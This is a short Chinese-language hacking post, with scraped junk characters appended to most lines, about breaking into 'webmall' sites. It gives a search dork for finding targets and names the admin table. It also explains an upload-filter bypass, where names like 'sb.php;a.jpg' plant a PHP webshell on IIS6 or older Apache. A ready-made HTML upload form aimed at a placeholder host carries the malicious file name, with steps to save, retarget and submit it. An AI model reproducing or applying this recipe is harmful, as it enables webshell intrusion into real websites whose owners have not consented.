关键字:inurl:webmall/detail.php?id' U& ~3 F1 s! l9 K
2 {1 x6 j J; l5 e( }
数据表:pwn_base_admin$ o9 R& u+ P; R U# ?7 }7 ^" ~) ^
. j# b5 F# b8 r8 X
关于拿shell
; z( O8 ?2 r- U' U7 D4 e1 R- t, W
+ @$ u2 ]( ?% A1 B. A# P, E& }首先登录后台admin.php
7 `3 c2 O1 B: i3 B3 q: @- a7 E( v2 R
0 _9 C9 `. \; W9 `! _# t+ A/ |看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。! g; _, }2 U$ A3 S" t) H5 `& D, q: f
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg
/ _( k) V! |& d) i5 S然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的* o* H/ Y, B2 E. }; t: d8 p
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> 4 _9 S, s+ |* F) h, J
<input type="text" name="fileName" value="sb.php;a.jpg" /> 8 u8 P& S) x( O7 z( G
<input type="hidden" name="attachPath" value="news/pics/" /> 3 C! n' p" i/ p" D
<input type="file" name="fileData" size="14" /></td> 1 g8 w6 n9 ?, }! E
<input type="submit" name="button" value="确定" />
: @8 F. K' J8 @. R4 |) Q</form>
+ Z( n$ h$ R7 B; {8 V$ x0 {# h 2 L: M: {- a8 ]( v
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。7 Z) u& t+ d9 [8 V
/ u/ u- w. T* ?! B" y! R5 C
|